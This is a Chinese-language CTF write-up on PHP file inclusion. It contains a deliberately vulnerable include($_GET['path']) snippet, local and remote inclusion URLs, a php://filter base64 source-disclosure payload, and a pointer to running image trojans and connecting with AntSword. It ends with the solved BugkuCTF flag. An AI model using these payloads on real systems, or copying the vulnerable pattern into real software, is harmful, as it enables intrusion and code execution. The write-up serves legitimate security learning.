进入BugkuCTF之前我们先了解一下文件包含的基础知识。
一、文件包含
1.概念
文件包含:程序员通常会把可重复使用函数或语句写到单个文件中,在使用某个功能时,直接调用此文件,不用再编写调用文件的过程称为包含。
2.PHP 中的⽂件包含语句
PHP 提供了四个⽂件包含的语句,四个语句之间略有不同:
语句 | 区别 |
---|---|
include() | 多次包含,如果包含失败,脚本产⽣警告,继续运⾏。 |
include_once() | ⼀次包含,如果包含失败,脚本产⽣警告,继续运⾏。 |
require() | 多次包含,如果包含失败,脚本产⽣错误,结束执⾏。 |
require_once() | ⼀次包含,如果包含失败,脚本产⽣错误,结束执⾏。 |
相应配置:
⽂件包含是PHP 的基本功能之⼀,有本地⽂件包含与远程⽂件包含之分。
通俗来讲,本地⽂件包含就是可以读取和打开本地⽂件,远程⽂件包含就是可以远程(⽅式)加载⽂件。
可通过php的配置文件php.ini中的选项进行配置
allow_url_fopen = On/Off # http://|ftp:// 访问远程⽂件
allow_url_include = On/Off # require|include http://|ftp:// 访问远程⽂件
包含示例:
示例代码:
// fileInclusion.php
if(!empty($_GET['path'])){
include $_GET['path'];
}else{
echo "?path=./info.php"; }
本地文件包含:
http://192.168.16.109/fileInclusion/fileInclusion.php?path=./info.php
远程⽂件包含
http://localhost/fileInclusion/fileInclusion.php?
path=http://192.168.16.109/phpinfo.php
2.漏洞原理及特点
优点:PHP ⽂件包含是程序设计的基础功能之⼀,能够减少代码量,提⾼开发效率。
缺点:会产生文件包含漏洞
漏洞原理:文件包含配置(php.ini)、动态调用、客户端可控。
特点:
⽆视⽂件扩展名读取⽂件。
# 直接读取图⽚的源代码
http://192.168.48.139/fileInclusion/fileInclusion.php?
path=../DVWA\dvwa\images\login_logo.png
⽆条件解析PHP 代码
# 当读取到被包含⽂件的源码,如果遇到符合PHP 代码规范的内容,就会⽆条件执⾏
# 同时为图⽚⽊⻢提供了出路
http://192.168.48.139/fileInclusion/fileInclusion.php?path=1_2.jpg
可以和图片木马结合,来执行图片木马,完了用蚁剑连接。
二、BugkuCTF的文件包含项目
http://123.206.87.240:8005/post/
查看源代码发现没什么有用的信息。
然后直接点击
发现地址/post/index.php?file=show.php。
怀疑此处纯在文件包含漏洞。
尝试包含自己:?file=index.php
然后base64编码去读源代码
?file=php://filter/read=convert.base64-encode/resource=index.php
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
复制然后用bp解码
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
拿到flag
/flag:flag{edulcni_elif_lacol_si_siht}